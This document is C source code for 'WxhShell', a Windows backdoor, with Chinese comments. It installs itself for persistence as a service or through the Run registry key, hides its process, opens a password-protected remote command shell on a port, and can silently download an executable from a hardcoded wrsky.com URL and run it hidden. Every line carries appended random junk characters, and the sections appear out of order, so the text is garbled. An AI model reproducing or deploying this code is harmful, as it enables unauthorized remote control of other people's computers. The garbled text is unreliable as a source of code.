ULONG InheritedFromUniqueProcessId; --K)7
} PROCESS_BASIC_INFORMATION; !l (Vk
T$5wH )<
PROCNTQSIP NtQueryInformationProcess; ';tlV
u
~#r>@C
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Q@ VA@N=w
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; WH:dcU
* Gg7(cnpw
HANDLE hProcess; Ew/MSl6}
PROCESS_BASIC_INFORMATION pbi; &C9IR,&
EYT^*1,E*
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ;6G]~}>o
if(NULL == hInst ) return 0; A{+/$7vek
v$y\X3)mB
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); kE&R;T`Gb%
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ZISIW!
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); uY]';OtG
.g#}2:3
if (!NtQueryInformationProcess) return 0; 4uXGpsL
K4Q{U@ZJ
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); >w3C
Ku<
if(!hProcess) return 0; %xkuW]xk
C- YYG
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Bhv;l/K])
^E70$yB^
CloseHandle(hProcess); <Wn~s=
suN6(p(.
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 9xQ|Uad+%
if(hProcess==NULL) return 0; /5,6{R9
2{ F-@}=
HMODULE hMod; |]&3*%b@
char procName[255]; LJeq{Z
unsigned long cbNeeded; #{6VdWZ
xWxHi6U(
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); *~PB
mdc?~?? 8
CloseHandle(hProcess); A;co1,]gR
-H60T,o
if(strstr(procName,"services")) return 1; // 以服务启动 $H<_P'h-B
Y=XDN:
return 0; // 注册表启动 sp\6-*F
} 6tH}K
~VsN\! G
// 主模块 w7MRuAJ4
int StartWxhshell(LPSTR lpCmdLine) x1@,k=qrd
{ >WZ.Dj0n
SOCKET wsl; MXA?rjd0
BOOL val=TRUE; y" =?l
int port=0; 4@{;z4*`
struct sockaddr_in door; =[n !3M+X
#wyceEa
if(wscfg.ws_autoins) Install(); zJX Z0yRT
Hk}P
port=atoi(lpCmdLine); ToHx!,tDS
MV5$e
if(port<=0) port=wscfg.ws_port; 5RT#H0/+
Z\0wQ;}
WSADATA data; %DttkrhL
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; T!x/^
E2zL-ft.
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; /Z2u0jNArP
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); )
gl{ x
door.sin_family = AF_INET; ug%7}&
door.sin_addr.s_addr = inet_addr("127.0.0.1"); t]B`>SL3W
door.sin_port = htons(port); EZj rX>"#
6nA9r5Ghv
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { o "r
closesocket(wsl); YIN* '!N
return 1; #?Ix6 {R
} y>C
!cYB
"smU5 s,P
if(listen(wsl,2) == INVALID_SOCKET) { /
B!j`UK
closesocket(wsl); \4 b^*`d
return 1; ^@x&n)nzP
} T>'w]wi
Wxhshell(wsl); &&;.7E
WSACleanup(); s(X\7Hz_nC
m+M^we*R
return 0; HL{aqT2
BD"Dzq
} P,8TO-e7
&DW !$b
// 以NT服务方式启动 _#~D{91
j:
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) H7uh"/A
{ N!7?D'y
DWORD status = 0; l(1.Ll
DWORD specificError = 0xfffffff; 5B%KiE&p
LDegJer-v
serviceStatus.dwServiceType = SERVICE_WIN32; o"qxR'V
serviceStatus.dwCurrentState = SERVICE_START_PENDING; O}C*weU
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 6EY\
serviceStatus.dwWin32ExitCode = 0; tO&n$$
serviceStatus.dwServiceSpecificExitCode = 0; "y8W5R5kL4
serviceStatus.dwCheckPoint = 0; I!!cA?W
serviceStatus.dwWaitHint = 0; WReHep
@CM5e!
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 0s8fF"$
if (hServiceStatusHandle==0) return; 5Y;&L!T
/\e_B6pF<
status = GetLastError(); 7oC8ID
if (status!=NO_ERROR) SEnr"}
{ }>iNT.Lvd
serviceStatus.dwCurrentState = SERVICE_STOPPED; 8A0a/
7Lj
serviceStatus.dwCheckPoint = 0; }#<Rs
serviceStatus.dwWaitHint = 0; SOPair <r
serviceStatus.dwWin32ExitCode = status; "7-}#_!g
serviceStatus.dwServiceSpecificExitCode = specificError; w!`e!}
SetServiceStatus(hServiceStatusHandle, &serviceStatus); BuvnY
return; kh}h(z^
} fbM>jK
n:a~=^IV
serviceStatus.dwCurrentState = SERVICE_RUNNING; _gH$
,.j/
serviceStatus.dwCheckPoint = 0; Ho#nM_ q
serviceStatus.dwWaitHint = 0; bRggt6$z
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); `\##M=
} `)$G}7cRUH
P*[wB_^&UP
// 处理NT服务事件,比如:启动、停止 E;H9]*x/
VOID WINAPI NTServiceHandler(DWORD fdwControl) 9y[U\[H
{ iYiTkq
switch(fdwControl) &CQ28WG X
{ ]fDb|s48
case SERVICE_CONTROL_STOP: _|; d
D
serviceStatus.dwWin32ExitCode = 0; ;P'5RCqj
serviceStatus.dwCurrentState = SERVICE_STOPPED; Y{~`g(~9_A
serviceStatus.dwCheckPoint = 0; <0Y<9+g!
serviceStatus.dwWaitHint = 0; K:13t|
{ `s69p'<;p
SetServiceStatus(hServiceStatusHandle, &serviceStatus); k v_t6 (qd
} {^Q,G x(
return; M:.+^.h
case SERVICE_CONTROL_PAUSE: ga,kKPL
serviceStatus.dwCurrentState = SERVICE_PAUSED; x;SY80D
break; ~p'|A}9[/
case SERVICE_CONTROL_CONTINUE: 'JgCl'k,
serviceStatus.dwCurrentState = SERVICE_RUNNING; 4YY!oDN:
break; !5'4FUlJ
case SERVICE_CONTROL_INTERROGATE: s3sD7 @
break; cD9U^SOS
}; w3VgGc~
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 8_wh9
} 1\{FK Ot
d %FLk=]
// 标准应用程序主函数 W9}
,f
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Cj }H'k<B
{ (:]+IjnE
*"OlO}o
// 获取操作系统版本 *N: $,xf
OsIsNt=GetOsVer(); E>/~:
GetModuleFileName(NULL,ExeFile,MAX_PATH); 5MYdLAjV
JPL`/WA0
// 从命令行安装 1.N2!:&G|
if(strpbrk(lpCmdLine,"iI")) Install(); ^?0'\Z
W8x&:5Fc)3
// 下载执行文件 wQ/.3V[
if(wscfg.ws_downexe) { z&c}
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) com4@NK
WinExec(wscfg.ws_filenam,SW_HIDE); }Z\S__\9
} &E6V'*<93
mcidA%
if(!OsIsNt) { o&M.9V?~~
// 如果时win9x,隐藏进程并且设置为注册表启动 uF[*@N
HideProc(); Xe:rPxZf~
StartWxhshell(lpCmdLine); YvuE:ia
} ukVBC"Ny
else ue?3;BF 5
if(StartFromService()) O> _ F
// 以服务方式启动 4o";p}[b
StartServiceCtrlDispatcher(DispatchTable); Cb|1Jtb
else *:+ZEFMq
// 普通方式启动 _u;pD-
StartWxhshell(lpCmdLine); R'vNJDFY
Y~!A"$
return 0; G{,DoCM5WL
} +84
p/B#
.x] pJ9
m6^#pqSL
[n&ES\o#(
=========================================== UqsOG<L'6
\b6{u6?+
(GGosXU-v
x![.C,O
]t&^o**
N5`z S79W
" 'Q7^bF^
Sp?e!`|8
#include <stdio.h> u>vvW|OB[
#include <string.h> KXl!VD,#`=
#include <windows.h> Fv)E:PnKC
#include <winsock2.h> 9LBZMQ
#include <winsvc.h> 01&E.A
#include <urlmon.h> y3j"vKG
E`@Z9k1 `
#pragma comment (lib, "Ws2_32.lib") |'P$zMAF
#pragma comment (lib, "urlmon.lib") 1tI=Dwx
.9r85
#define MAX_USER 100 // 最大客户端连接数 Ndb7>"W
#define BUF_SOCK 200 // sock buffer Jd v;+HN[
#define KEY_BUFF 255 // 输入 buffer '3sySsD&O
h<>yzr3fN
#define REBOOT 0 // 重启 3HuGb^SNg
#define SHUTDOWN 1 // 关机 6rD]6#D
nN-S5?X#
#define DEF_PORT 5000 // 监听端口 P zM yUv
<HN{.p{
#define REG_LEN 16 // 注册表键长度 k.c.7%|~;
#define SVC_LEN 80 // NT服务名长度 RP+)sCh
2P^qZDG 8I
// 从dll定义API Wi!"Vcn
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 7Nk|9t
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Y6)o7t
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); KUm?gFh
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); P7Qel ,
]e7?l/N[
// wxhshell配置信息 e3p:lu
struct WSCFG { E]m?R 4
int ws_port; // 监听端口 aHYISjZ]>
char ws_passstr[REG_LEN]; // 口令 `F&~SU,
int ws_autoins; // 安装标记, 1=yes 0=no *TI?tD
char ws_regname[REG_LEN]; // 注册表键名 )u=W?5%=}
char ws_svcname[REG_LEN]; // 服务名 y5O &9Ckw
char ws_svcdisp[SVC_LEN]; // 服务显示名 FINHO058^Y
char ws_svcdesc[SVC_LEN]; // 服务描述信息 PXJ7Ek*/
char ws_passmsg[SVC_LEN]; // 密码输入提示信息 0WSZhzNyY
int ws_downexe; // 下载执行标记, 1=yes 0=no E'Ux2sh
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" g3{UP]Z71
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 5U+4vV/*
O1t$]k:
}; +w?R4Sxjn
IPYwUix
// default Wxhshell configuration 8 Zp^/43
struct WSCFG wscfg={DEF_PORT, b8YdONdy
"xuhuanlingzhe", Kdp($L9r
1, )$df6sq
"Wxhshell", 3/ }
"Wxhshell", idX''%"
"WxhShell Service", ,5ZQPICF
"Wrsky Windows CmdShell Service", c>>.>^5
"Please Input Your Password: ", uZJfIC<>
1, h4F%lGot
"http://www.wrsky.com/wxhshell.exe", J,u-)9yBA<
"Wxhshell.exe" 7 [u>#8
}; ^i!6z2/
rvd%z7Z1o
// 消息定义模块 m9i/rK_
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; qnj'*]ysBC
char *msg_ws_prompt="\n\r? for help\n\r#>"; hKWWN`;b !
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; =EA:fq
char *msg_ws_ext="\n\rExit."; oo7}Hg>
char *msg_ws_end="\n\rQuit."; Yb/*2iWX
char *msg_ws_boot="\n\rReboot..."; 9`Fw}yAt
char *msg_ws_poff="\n\rShutdown..."; &TA{US3~
char *msg_ws_down="\n\rSave to "; ]Zc|<f;
650qG$
char *msg_ws_err="\n\rErr!"; ?8GS*I
char *msg_ws_ok="\n\rOK!";
HDZl;=
PRTjXq6)5
char ExeFile[MAX_PATH]; 324XoMO
int nUser = 0; *0eU_*A^zO
HANDLE handles[MAX_USER]; cY_ke
int OsIsNt; P}A!C9Frh
[?KGLUmTAI
SERVICE_STATUS serviceStatus; 5~ :/%+F0=
SERVICE_STATUS_HANDLE hServiceStatusHandle; aVc{ aP
3+h3?
// 函数声明 SZHgXl3:
int Install(void); pWJEFm
int Uninstall(void); *`Vm ncv3
int DownloadFile(char *sURL, SOCKET wsh); `V\?YS}
int Boot(int flag); =D Q:0w
void HideProc(void); H;=Fq+
int GetOsVer(void); {A:uy
int Wxhshell(SOCKET wsl); p`c_5!H
void TalkWithClient(void *cs); )hj:Xpj9#
int CmdShell(SOCKET sock); E
BBd
int StartFromService(void); 4m1r@
$
int StartWxhshell(LPSTR lpCmdLine); Cgh84
2%
NE8W--Cg|
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); wT::b V{
VOID WINAPI NTServiceHandler( DWORD fdwControl ); GjHR.p?-
zp1ym}9M
// 数据结构和表定义 \P?X`]NwnO
SERVICE_TABLE_ENTRY DispatchTable[] = bG@2f"
{ tZKw(<am
{wscfg.ws_svcname, NTServiceMain}, <]LljTm`i
{NULL, NULL} $Emu*'
}; g]2L[4
Cg]),S
// 自我安装 Im/tU6ybV
int Install(void) '= fk;AiQ
{ %60 OS3
char svExeFile[MAX_PATH]; 0C/ZcfFU~
HKEY key; =huV(THU
strcpy(svExeFile,ExeFile); .)!QsBU
*$NZi*z3
// 如果是win9x系统,修改注册表设为自启动 xV5UaD<
if(!OsIsNt) { P%(9 `A
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { IyyBW2
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); p,$N-22a
RegCloseKey(key); {.{Wl,|7
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { |9c~kTjK
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); #H>{>0q
RegCloseKey(key); ~RuX2u-2&u
return 0; y-1e(:GF
} *<